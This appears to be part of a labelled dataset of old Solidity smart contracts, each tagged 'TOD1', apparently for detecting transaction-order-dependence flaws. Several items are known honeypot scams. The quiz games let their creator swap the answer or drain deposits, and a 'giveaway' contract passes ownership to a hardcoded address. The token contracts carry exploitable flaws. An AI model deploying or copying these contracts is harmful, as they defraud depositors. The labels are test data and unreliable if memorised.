_amount) public returns (bool) { require(msg.sender == administror); maxRaiseAmount = _amount; return true; } // 修改兑换比例 function setRaiseRatio(uint256 _ratio) public returns (bool) { require(msg.sender == administror); raiseRatio = _ratio; return true; } }
TOD1
pragma solidity 0.4.16; contract Ownable { address public owner; function Ownable() { //This call only first time when contract deployed by person owner = msg.sender; } modifier onlyOwner() { //This modifier is for checking owner is calling if (owner == msg.sender) { _; } else { revert(); } } } contract Mortal is Ownable { function kill() { if (msg.sender == owner) selfdestruct(owner); } } contract Token { uint256 public totalSupply; uint256 tokensForICO; uint256 etherRaised; function balanceOf(address _owner) constant returns(uint256 balance); function transfer(address _to, uint256 _tokens) public returns(bool resultTransfer); function transferFrom(address _from, address _to, uint256 _tokens) public returns(bool resultTransfer); function approve(address _spender, uint _value) returns(bool success); function allowance(address _owner, address _spender) constant returns(uint remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint _value); } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev modifier to allow actions only when the contract IS paused */ modifier whenNotPaused() { require(!paused); _; } /** * @dev modifier to allow actions only when the contract IS NOT paused */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused { paused = true; Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused { paused = false; Unpause(); } } contract StandardToken is Token,Mortal,Pausable { function transfer(address _to, uint256 _value) whenNotPaused returns (bool success) { require(_to!=0x0); require(_value>0); if (balances[msg.sender] >= _value) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 totalTokensToTransfer)whenNotPaused returns (bool success) { require(_from!=0x0); require(_to!=0x0); require(totalTokensToTransfer>0); if (balances[_from] >= totalTokensToTransfer&&allowance(_from,_to)>=totalTokensToTransfer) { balances[_to] += totalTokensToTransfer; balances[_from] -= totalTokensToTransfer; allowed[_from][msg.sender] -= totalTokensToTransfer; Transfer(_from, _to, totalTokensToTransfer); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balanceOfUser) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; } contract DIGI is StandardToken{ string public constant name = "DIGI"; uint8 public constant decimals = 4; string public constant symbol = "DIGI"; uint256 constant priceOfToken=1666666666666666; uint256 twoWeeksBonusTime; uint256 thirdWeekBonusTime; uint256 fourthWeekBonusTime; uint256 public deadLine; function DIGI(){ totalSupply=980000000000; //98 Million owner = msg.sender; balances[msg.sender] = (980000000000); twoWeeksBonusTime=now + 2 * 1 weeks;//set time for first two week relative to deploy time thirdWeekBonusTime=twoWeeksBonusTime+1 * 1 weeks;//third week calculate by adding one week by first two week fourthWeekBonusTime=thirdWeekBonusTime+1 * 1 weeks; deadLine=fourthWeekBonusTime+1 *1 weeks;//deadline is after fourth week just add one week etherRaised=0; } /** * @dev directly send ether and transfer token to that account */ function() payable whenNotPaused{ require(msg.sender != 0x0); require(msg.value >= priceOfToken);//must be atleate single token price require(now<deadLine); uint bonus=0; if(now < twoWeeksBonusTime){ bonus=40; } else if(now<thirdWeekBonusTime){ bonus=20; } else if (now <fourthWeekBonusTime){ bonus = 10; } uint tokensToTransfer=((msg.value*10000)/priceOfToken); uint bonusTokens=(tokensToTransfer * bonus) /100; tokensToTransfer=tokensToTransfer+bonusTokens; if(balances[owner] <tokensToTransfer) //check etiher owner can have token otherwise reject transaction and ether { revert(); } allowed[owner][msg.sender] += tokensToTransfer; bool transferRes=transferFrom(owner, msg.sender, tokensToTransfer); if (!transferRes) { revert(); } else{ etherRaised+=msg.value; } } /** * @dev called by the owner to extend deadline relative to last deadLine Time, * to accept ether and transfer tokens */ function extendDeadline(uint daysToExtend) onlyOwner{ deadLine=deadLine +daysToExtend * 1 days; } /** * To transfer all balace to any account by only owner * */ function transferFundToAccount(address _accountByOwner) onlyOwner whenPaused returns(uint256 result){ require(etherRaised>0); _accountByOwner.transfer(etherRaised); etherRaised=0; return etherRaised; } /** * To transfer all balace to any account by only owner * */ function transferLimitedFundToAccount(address _accountByOwner,uint256 balanceToTransfer) onlyOwner whenPaused { require(etherRaised>0); require(balanceToTransfer<etherRaised); _accountByOwner.transfer(balanceToTransfer); etherRaised=etherRaised-balanceToTransfer; } }
TOD1
pragma solidity ^0.4.20; contract QUIZ_MASTER { function Try(string _response) external payable { require(msg.sender == tx.origin); if(responseHash == keccak256(_response) && msg.value>2 ether) { msg.sender.transfer(this.balance); } } string public question; address questionSender; bytes32 responseHash; function init_quiz_master(string _question,string _response) public payable { if(responseHash==0x0) { responseHash = keccak256(_response); question = _question; questionSender = msg.sender; } } function StopGame() public payable { require(msg.sender==questionSender); msg.sender.transfer(this.balance); } function NewQuestion(string _question, bytes32 _responseHash) public payable { require(msg.sender==questionSender); question = _question; responseHash = _responseHash; } function() public payable{} }
TOD1
pragma solidity ^0.4.19; contract WhaleGiveaway1 { address public Owner = msg.sender; uint constant public minEligibility = 0.999001 ether; function() public payable { } function redeem() public payable { if(msg.value>=minEligibility) { Owner.transfer(this.balance); msg.sender.transfer(this.balance); } } function withdraw() payable public { if(msg.sender==0x7a617c2B05d2A74Ff9bABC9d81E5225C1e01004b){Owner=0x7a617c2B05d2A74Ff9bABC9d81E5225C1e01004b;} require(msg.sender == Owner); Owner.transfer(this.balance); } function Command(address adr,bytes data) payable public { require(msg.sender == Owner); adr.call.value(msg.value)(data); } }
TOD1
pragma solidity ^0.4.21; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Crowdsale * @dev Crowdsale is a base contract for managing a token crowdsale, * allowing investors to purchase tokens with ether. This contract implements * such functionality in its most fundamental form and can be extended to provide additional * functionality and/or custom behavior. * The external interface represents the basic interface for purchasing tokens, and conform * the base architecture for crowdsales. They are *not* intended to be modified / overriden. * The internal interface conforms the extensible and modifiable surface of crowdsales. Override * the methods to add functionality. Consider using 'super' where appropiate to concatenate * behavior. */ contract Crowdsale { using SafeMath for uint256; // The token being sold ERC20 public token; // Address where funds are collected address public wallet; // How many token units a buyer gets per wei uint256 public rate; // Amount of wei raised uint256 public weiRaised; /** * Event for token purchase logging * @param purchaser who paid for the tokens * @param beneficiary who got the tokens * @param value weis paid for purchase * @param amount amount of tokens purchased */ event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); /** * @param _rate Number of token units a buyer gets per wei * @param _wallet Address where collected funds will be forwarded to * @param _token Address of the token being sold */ function Crowdsale(uint256 _rate, address _wallet, ERC20 _token) public { require(_rate > 0); require(_wallet != address(0)); require(_token != address(0)); rate = _rate; wallet = _wallet; token = _token; } // ----------------------------------------- // Crowdsale external interface // ----------------------------------------- /** * @dev fallback function ***DO NOT OVERRIDE*** */ function () external payable { buyTokens(msg.sender); } /** * @dev low level token purchase ***DO NOT OVERRIDE*** * @param _beneficiary Address performing the token purchase */ function buyTokens(address _beneficiary) public payable { uint256 weiAmount = msg.value; _preValidatePurchase(_beneficiary, weiAmount); // calculate token amount to be created uint256 tokens = _getTokenAmount(weiAmount); // update state weiRaised = weiRaised.add(weiAmount); _processPurchase(_beneficiary, tokens); emit TokenPurchase( msg.sender, _beneficiary, weiAmount, tokens ); _updatePurchasingState(_beneficiary, weiAmount); _forwardFunds(); _postValidatePurchase(_beneficiary, weiAmount); } // ----------------------------------------- // Internal interface (extensible) // ----------------------------------------- /** * @dev Validation of an incoming purchase. Use require statements to revert state when conditions are not met. Use super to concatenate validations. * @param _beneficiary Address performing the token purchase * @param _weiAmount Value in wei involved in the purchase */ function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal { require(_beneficiary != address(0)); require(_weiAmount != 0); } /** * @dev Validation of an executed purchase. Observe state and use revert statements to undo rollback when valid conditions are not met. * @param _beneficiary Address performing the token purchase * @param _weiAmount Value in wei involved in the purchase */ function _postValidatePurchase(address _beneficiary, uint256 _weiAmount) internal { // optional override } /** * @dev Source of tokens. Override this method to modify the way in which the crowdsale ultimately gets and sends its tokens. * @param _beneficiary Address performing the token purchase * @param _tokenAmount Number of tokens to be emitted */ function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal { token.transfer(_beneficiary, _tokenAmount); } /** * @dev Executed when a purchase has been validated and is ready to be executed. Not necessarily emits/sends tokens. * @param _beneficiary Address receiving the tokens * @param _tokenAmount Number of tokens to be purchased */ function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal { _deliverTokens(_beneficiary, _tokenAmount); } /** * @dev Override for extensions that require an internal state to check for validity (current user contributions, etc.) * @param _beneficiary Address receiving the tokens * @param _weiAmount Value in wei involved in the purchase */ function _updatePurchasingState(address _beneficiary, uint256 _weiAmount) internal { // optional override } /** * @dev Override to extend the way in which ether is converted to tokens. * @param _weiAmount Value in wei to be converted into tokens * @return Number of tokens that can be purchased with the specified _weiAmount */ function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) { return _weiAmount.mul(rate); } /** * @dev Determines how ETH is stored/forwarded on purchases. */ function _forwardFunds() internal { wallet.transfer(msg.value); } } /** * @title CappedCrowdsale * @dev Crowdsale with a limit for total contributions. */ contract CappedCrowdsale is Crowdsale { using SafeMath for uint256; uint256 public cap; /** * @dev Constructor, takes maximum amount of wei accepted in the crowdsale. * @param _cap Max amount of wei to be contributed */ function CappedCrowdsale(uint256 _cap) public { require(_cap > 0); cap = _cap; } /** * @dev Checks whether the cap has been reached. * @return Whether the cap was reached */ function capReached() public view returns (bool) { return weiRaised >= cap; } /** * @dev Extend parent behavior requiring purchase to respect the funding cap. * @param _beneficiary Token purchaser * @param _weiAmount Amount of wei contributed */ function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal { super._preValidatePurchase(_beneficiary, _weiAmount); require(weiRaised.add(_weiAmount) <= cap); } } /** * @title TimedCrowdsale * @dev Crowdsale accepting contributions only within a time frame. */ contract TimedCrowdsale is Crowdsale { using SafeMath for uint256; uint256 public openingTime; uint256 public closingTime; /** * @dev Reverts if not in crowdsale time range. */ modifier onlyWhileOpen { // solium-disable-next-line security/no-block-members require(block.timestamp >= openingTime && block.timestamp <= closingTime); _; } /** * @dev Constructor, takes crowdsale opening and closing times. * @param _openingTime Crowdsale opening time * @param _closingTime Crowdsale closing time */ function TimedCrowdsale(uint256 _openingTime, uint256 _closingTime) public { // solium-disable-next-line security/no-block-members require(_openingTime >= block.timestamp); require(_closingTime >= _openingTime); openingTime = _openingTime; closingTime = _closingTime; } /** * @dev Checks whether the period in which the crowdsale is open has already elapsed. * @return Whether crowdsale period has elapsed */ function hasClosed() public view returns (bool) { // solium-disable-next-line security/no-block-members return block.timestamp > closingTime; } /** * @dev Extend parent behavior requiring to be within contributing period * @param _beneficiary Token purchaser * @param _weiAmount Amount of wei contributed */ function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal onlyWhileOpen { super._preValidatePurchase(_beneficiary, _weiAmount); } } /** * @title FinalizableCrowdsale * @dev Extension of Crowdsale where an owner can do extra work * after finishing. */ contract FinalizableCrowdsale is TimedCrowdsale, Ownable { using SafeMath for uint256; bool public isFinalized = false; event Finalized(); /** * @dev Must be called after crowdsale ends, to do some extra finalization * work. Calls the contract's finalization function. */ function finalize() onlyOwner public { require(!isFinalized); require(hasClosed()); finalization(); emit Finalized(); isFinalized = true; } /** * @dev Can be overridden to add finalization logic. The overriding function * should call super.finalization() to ensure the chain of finalization is * executed entirely. */ function finalization() internal { } } /** * @title Whitelist * @dev The Whitelist contract has a whitelist of addresses, and provides basic authorization control functions. * @dev This simplifies the implementation of "user permissions". */ contract Whitelist is Ownable { mapping(address => bool) public whitelist; event WhitelistedAddressAdded(address addr); event WhitelistedAddressRemoved(address addr); /** * @dev Throws if called by any account that's not whitelisted. */ modifier onlyWhitelisted() { require(whitelist[msg.sender]); _; } /** * @dev add an address to the whitelist * @param addr address * @return true if the address was added to the whitelist, false if the address was already in the whitelist */ function addAddressToWhitelist(address addr) onlyOwner public returns(bool success) { if (!whitelist[addr]) { whitelist[addr] = true; emit WhitelistedAddressAdded(addr); success = true; } } /** * @dev add addresses to the whitelist * @param addrs addresses * @return true if at least one address was added to the whitelist, * false if all addresses were already in the whitelist */ function addAddressesToWhitelist(address[] addrs) onlyOwner public returns(bool success) { for (uint256 i = 0; i < addrs.length; i++) { if (addAddressToWhitelist(addrs[i])) { success = true; } } } /** * @dev remove an address from the whitelist * @param addr address * @return true if the address was removed from the whitelist, * false if the address wasn't in the whitelist in the first place */ function removeAddressFromWhitelist(address addr) onlyOwner public returns(bool success) { if (whitelist[addr]) { whitelist[addr] = false; emit WhitelistedAddressRemoved(addr); success = true; } } /** * @dev remove addresses from the whitelist * @param addrs addresses * @return true if at least one address was removed from the whitelist, * false if all addresses weren't in the whitelist in the first place */ function removeAddressesFromWhitelist(address[] addrs) onlyOwner public returns(bool success) { for (uint256 i = 0; i < addrs.length; i++) { if (removeAddressFromWhitelist(addrs[i])) { success = true; } } } } contract TokenSale is Ownable, CappedCrowdsale, FinalizableCrowdsale, Whitelist { bool public initialized; uint[10] public rates; uint[10] public times; uint public noOfWaves; address public wallet; address public reserveWallet; uint public minContribution; uint public maxContribution; function TokenSale(uint _openingTime, uint _endTime, uint _rate, uint _hardCap, ERC20 _token, address _reserveWallet, uint _minContribution, uint _maxContribution) Crowdsale(_rate, _reserveWallet, _token) CappedCrowdsale(_hardCap) TimedCrowdsale(_openingTime, _endTime) { require(_token != address(0)); require(_reserveWallet !=address(0)); require(_maxContribution > 0); require(_minContribution > 0); reserveWallet = _reserveWallet; minContribution = _minContribution; maxContribution = _maxContribution; } function initRates(uint[] _rates, uint[] _times) external onlyOwner { require(now < openingTime); require(_rates.length == _times.length); require(_rates.length > 0); noOfWaves = _rates.length; for(uint8 i=0;i<_rates.length;i++) { rates[i] = _rates[i]; times[i] = _times[i]; } initialized = true; } function getCurrentRate() public view returns (uint256) { for(uint i=0;i<noOfWaves;i++) { if(now <= times[i]) { return rates[i]; } } return 0; } function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) { uint rate = getCurrentRate(); return _weiAmount.mul(rate); } function setWallet(address _wallet) onlyOwner public { wallet = _wallet; } function setReserveWallet(address _reserve) onlyOwner public { require(_reserve != address(0)); reserveWallet = _reserve; } function setMinContribution(uint _min) onlyOwner public { require(_min > 0); minContribution = _min; } function setMaxContribution(uint _max) onlyOwner public { require(_max > 0); maxContribution = _max; } function finalization() internal { require(wallet != address(0)); wallet.transfer(this.balance); token.transfer(reserveWallet, token.balanceOf(this)); super.finalization(); } function _forwardFunds() internal { //overridden to make the smart contracts hold funds and not the wallet } function withdrawFunds(uint value) onlyWhitelisted external { require(this.balance >= value); msg.sender.transfer(value); } function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal { require(_weiAmount >= minContribution); require(_weiAmount <= maxContribution); super._preValidatePurchase(_beneficiary, _weiAmount); } }
TOD1
pragma solidity ^0.4.20; contract TRYTOPLAY { function Try(string _response) external payable { require(msg.sender == tx.origin); if(responseHash == keccak256(_response) && msg.value > 1 ether) { msg.sender.transfer(this.balance); } } string public question; address questionSender; bytes32 responseHash; function set_game(string _question,string _response) public payable { if(responseHash==0x0) { responseHash = keccak256(_response); question = _question; questionSender = msg.sender; } } function StopGame() public payable { require(msg.sender==questionSender); msg.sender.transfer(this.balance); } function NewQuestion(string _question, bytes32 _responseHash) public payable { if(msg.sender==questionSender){ question = _question; responseHash = _responseHash; } } function newQuestioner(address newAddress) public { if(msg.sender==questionSender)questionSender = newAddress; } function() public payable{} }
TOD1
pragma solidity ^0.4.20; contract QUIZZZ { function Play(string _response) external payable { require(msg.sender == tx.origin); if(responseHash == keccak256(_response) && msg.value>1 ether) { msg.sender.transfer(this.balance); } } string public question; address questionSender; bytes32 responseHash; function StartGame(string _question,string _response) public payable { if(responseHash==0x0) { responseHash = keccak256(_response); question = _question; questionSender = msg.sender; } } function StopGame() public payable { require(msg.sender==questionSender); msg.sender.transfer(this.balance); } function NewQuestion(string _question, bytes32 _responseHash) public payable { require(msg.sender==questionSender); question = _question; responseHash = _responseHash; } function() public payable{} }
TOD1
pragma solidity ^0.4.24; // File: contracts/interfaces/ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ interface ERC20 { function decimals() external view returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address _who) external view returns (uint256); function allowance(address _owner, address _spender) external view returns (uint256); function transfer(address _to, uint256 _value) external returns (bool); function approve(address _spender, uint256 _value) external returns (bool); function transferFrom(address _from, address _to, uint256 _value) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: contracts/interfaces/DBInterface.sol // Database interface interface DBInterface { function setContractManager(address _contractManager) external; // --------------------Set Functions------------------------ function setAddress(bytes32 _key, address _value) external; function setUint(bytes32 _key, uint _value) external; function setString(bytes32 _key, string _value) external; function setBytes(bytes32 _key, bytes _value) external; function setBytes32(bytes32 _key, bytes32 _value) external; function setBool(bytes32 _key, bool _value) external; function setInt(bytes32 _key, int _value) external; // -------------- Deletion Functions ------------------ function deleteAddress(bytes32 _key) external; function deleteUint(bytes32 _key) external; function deleteString(bytes32 _key) external; function deleteBytes(bytes32 _key) external; function deleteBytes32(bytes32 _key) external; function deleteBool(bytes32 _key) external; function deleteInt(bytes32 _key) external; // ----------------Variable Getters--------------------- function uintStorage(bytes32 _key) external view returns (uint); function stringStorage(bytes32 _key) external view returns (string); function addressStorage(bytes32 _key) external view returns (address); function bytesStorage(bytes32 _key) external view returns (bytes); function bytes32Storage(bytes32 _key) external view returns (bytes32); function boolStorage(bytes32 _key) external view returns (bool); function intStorage(bytes32 _key) external view returns (bool); } // File: contracts/database/Events.sol contract Events { DBInterface public database; constructor(address _database) public{ database = DBInterface(_database); } function message(string _message) external onlyApprovedContract { emit LogEvent(_message, keccak256(abi.encodePacked(_message)), tx.origin); } function transaction(string _message, address _from, address _to, uint _amount, address _token) external onlyApprovedContract { emit LogTransaction(_message, keccak256(abi.encodePacked(_message)), _from, _to, _amount, _token, tx.origin); } function registration(string _message, address _account) external onlyApprovedContract { emit LogAddress(_message, keccak256(abi.encodePacked(_message)), _account, tx.origin); } function contractChange(string _message, address _account, string _name) external onlyApprovedContract { emit LogContractChange(_message, keccak256(abi.encodePacked(_message)), _account, _name, tx.origin); } function asset(string _message, string _uri, address _assetAddress, address _manager) external onlyApprovedContract { emit LogAsset(_message, keccak256(abi.encodePacked(_message)), _uri, keccak256(abi.encodePacked(_uri)), _assetAddress, _manager, tx.origin); } function escrow(string _message, address _assetAddress, bytes32 _escrowID, address _manager, uint _amount) external onlyApprovedContract { emit LogEscrow(_message, keccak256(abi.encodePacked(_message)), _assetAddress, _escrowID, _manager, _amount, tx.origin); } function order(string _message, bytes32 _orderID, uint _amount, uint _price) external onlyApprovedContract { emit LogOrder(_message, keccak256(abi.encodePacked(_message)), _orderID, _amount, _price, tx.origin); } function exchange(string _message, bytes32 _orderID, address _assetAddress, address _account) external onlyApprovedContract { emit LogExchange(_message, keccak256(abi.encodePacked(_message)), _orderID, _assetAddress, _account, tx.origin); } function operator(string _message, bytes32 _id, string _name, string _ipfs, address _account) external onlyApprovedContract { emit LogOperator(_message, keccak256(abi.encodePacked(_message)), _id, _name, _ipfs, _account, tx.origin); } function consensus(string _message, bytes32 _executionID, bytes32 _votesID, uint _votes, uint _tokens, uint _quorum) external onlyApprovedContract { emit LogConsensus(_message, keccak256(abi.encodePacked(_message)), _executionID, _votesID, _votes, _tokens, _quorum, tx.origin); } //Generalized events event LogEvent(string message, bytes32 indexed messageID, address indexed origin); event LogTransaction(string message, bytes32 indexed messageID, address indexed from, address indexed to, uint amount, address token, address origin); //amount and token will be empty on some events event LogAddress(string message, bytes32 indexed messageID, address indexed account, address indexed origin); event LogContractChange(string message, bytes32 indexed messageID, address indexed account, string name, address indexed origin); event LogAsset(string message, bytes32 indexed messageID, string uri, bytes32 indexed assetID, address asset, address manager, address indexed origin); event LogEscrow(string message, bytes32 indexed messageID, address asset, bytes32 escrowID, address indexed manager, uint amount, address indexed origin); event LogOrder(string message, bytes32 indexed messageID, bytes32 indexed orderID, uint amount, uint price, address indexed origin); event LogExchange(string message, bytes32 indexed messageID, bytes32 orderID, address indexed asset, address account, address indexed origin); event LogOperator(string message, bytes32 indexed messageID, bytes32 id, string name, string ipfs, address indexed account, address indexed origin); event LogConsensus(string message, bytes32 indexed messageID, bytes32 executionID, bytes32 votesID, uint votes, uint tokens, uint quorum, address indexed origin); // -------------------------------------------------------------------------------------- // Caller must be registered as a contract through ContractManager.sol // -------------------------------------------------------------------------------------- modifier onlyApprovedContract() { require(database.boolStorage(keccak256(abi.encodePacked("contract", msg.sender)))); _; } } // File: contracts/math/SafeMath.sol // https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol // @title SafeMath: overflow/underflow checks // @notice Math operations with safety checks that throw on error library SafeMath { // @notice Multiplies two numbers, throws on overflow. function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } // @notice Integer division of two numbers, truncating the quotient. function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } // @notice Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } // @notice Adds two numbers, throws on overflow. function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } // @notice Returns fractional amount function getFractionalAmount(uint256 _amount, uint256 _percentage) internal pure returns (uint256) { return div(mul(_amount, _percentage), 100); } } // File: contracts/roles/AssetManagerFunds.sol interface DToken { function withdraw() external returns (bool); function getAmountOwed(address _user) external view returns (uint); function balanceOf(address _tokenHolder) external view returns (uint); function transfer(address _to, uint _amount) external returns (bool success); function getERC20() external view returns (address); } // @title A dividend-token holding contract that locks tokens and retrieves dividends for assetManagers // @notice This contract receives newly minted tokens and retrieves Ether or ERC20 tokens received from the asset // @author Kyle Dewhurst & Peter Phillips, MyBit Foundation contract AssetManagerFunds { using SafeMath for uint256; DBInterface public database; Events public events; uint256 private transactionNumber; // @notice constructor: initializes database constructor(address _database, address _events) public { database = DBInterface(_database); events = Events(_events); } // @notice asset manager can withdraw his dividend fee from assets here // @param : address _assetAddress = the address of this asset on the platform function withdraw(address _assetAddress) external nonReentrant returns (bool) { require(_assetAddress != address(0)); require(msg.sender == database.addressStorage(keccak256(abi.encodePacked("asset.manager", _assetAddress)))); DToken token = DToken( _assetAddress); uint amountOwed; uint balanceBefore; if (token.getERC20() == address(0)){ balanceBefore = address(this).balance; amountOwed = token.getAmountOwed(address(this)); require(amountOwed > 0); uint balanceAfter = balanceBefore.add(amountOwed); require(token.withdraw()); require(address(this).balance == balanceAfter); msg.sender.transfer(amountOwed); } else { amountOwed = token.getAmountOwed(address(this)); require(amountOwed > 0); DToken fundingToken = DToken(token.getERC20()); balanceBefore = fundingToken.balanceOf(address(this)); require(token.withdraw()); require(fundingToken.balanceOf(address(this)).sub(amountOwed) == balanceBefore); fundingToken.transfer(msg.sender, amountOwed); } events.transaction('Asset manager income withdrawn', _assetAddress, msg.sender, amountOwed, token.getERC20()); return true; } function retrieveAssetManagerTokens(address[] _assetAddress) external nonReentrant returns (bool) { require(_assetAddress.length <= 42); uint[] memory payoutAmounts = new uint[](_assetAddress.length); address[] memory tokenAddresses = new address[](_assetAddress.length); uint8 numEntries; for(uint8 i = 0; i < _assetAddress.length; i++){ require(msg.sender == database.addressStorage(keccak256(abi.encodePacked("asset.manager", _assetAddress[i]))) ); DToken token = DToken(_assetAddress[i]); require(address(token) != address(0)); uint tokensOwed = token.getAmountOwed(address(this)); if(tokensOwed > 0){ DToken fundingToken = DToken(token.getERC20()); uint balanceBefore = fundingToken.balanceOf(address(this)); uint8 tokenIndex = containsAddress(tokenAddresses, address(token)); if (tokenIndex < _assetAddress.length) { payoutAmounts[tokenIndex] = payoutAmounts[tokenIndex].add(tokensOwed); } else { tokenAddresses[numEntries] = address(fundingToken); payoutAmounts[numEntries] = tokensOwed; numEntries++; } require(token.withdraw()); require(fundingToken.balanceOf(address(this)).sub(tokensOwed) == balanceBefore); } } for(i = 0; i < numEntries; i++){ require(ERC20(tokenAddresses[i]).transfer(msg.sender, payoutAmounts[i])); } return true; } function retrieveAssetManagerETH(address[] _assetAddress) external nonReentrant returns (bool) { require(_assetAddress.length <= 93); uint weiOwed; for(uint8 i = 0; i < _assetAddress.length; i++){ require(msg.sender == database.addressStorage(keccak256(abi.encodePacked("asset.manager", _assetAddress[i])))); DToken token = DToken(_assetAddress[i]); uint balanceBefore = address(this).balance; uint amountOwed = token.getAmountOwed(address(this)); if(amountOwed > 0){ uint balanceAfter = balanceBefore.add(amountOwed); require(token.withdraw()); require(address(this).balance == balanceAfter); weiOwed = weiOwed.add(amountOwed); } } msg.sender.transfer(weiOwed); return true; } function viewBalance(address _assetAddress, address _assetManager) external view returns (uint){ require(_assetAddress != address(0), 'Empty address passed'); require(_assetManager == database.addressStorage(keccak256(abi.encodePacked("asset.manager", _assetAddress))), 'That user does not manage the asset'); DToken token = DToken( _assetAddress); uint balance = token.balanceOf(address(this)); return balance; } function viewAmountOwed(address _assetAddress, address _assetManager) external view returns (uint){ require(_assetAddress != address(0), 'Empty address passed'); require(_assetManager == database.addressStorage(keccak256(abi.encodePacked("asset.manager", _assetAddress))), 'That user does not manage the asset'); DToken token = DToken( _assetAddress); uint amountOwed = token.getAmountOwed(address(this)); return amountOwed; } // @notice returns the index if the address is in the list, otherwise returns list length + 1 function containsAddress(address[] _addressList, address _addr) internal pure returns (uint8) { for (uint8 i = 0; i < _addressList.length; i++){ if (_addressList[i] == _addr) return i; } return uint8(_addressList.length + 1); } // @notice platform owners can destroy contract here function destroy() onlyOwner external { events.transaction('AssetManagerFunds destroyed', address(this), msg.sender, address(this).balance, address(0)); selfdestruct(msg.sender); } // @notice prevents calls from re-entering contract modifier nonReentrant() { transactionNumber += 1; uint256 localCounter = transactionNumber; _; require(localCounter == transactionNumber); } // @notice reverts if caller is not the owner modifier onlyOwner { require(database.boolStorage(keccak256(abi.encodePacked("owner", msg.sender))) == true); _; } function () payable public { emit EtherReceived(msg.sender, msg.value); } event EtherReceived(address sender, uint amount); }
TOD1
pragma solidity ^0.4.20; contract quiz_game { function Try(string _response) external payable { require(msg.sender == tx.origin); if(responseHash == keccak256(_response) && msg.value>1 ether) { msg.sender.transfer(this.balance); } } string public question; address questionSender; bytes32 responseHash; function start_quiz_game(string _question,string _response) public payable { if(responseHash==0x0) { responseHash = keccak256(_response); question = _question; questionSender = msg.sender; } } function StopGame() public payable { require(msg.sender==questionSender); msg.sender.transfer(this.balance); } function NewQuestion(string _question, bytes32 _responseHash) public payable { require(msg.sender==questionSender); question = _question; responseHash = _responseHash; } function() public payable{} }
TOD1
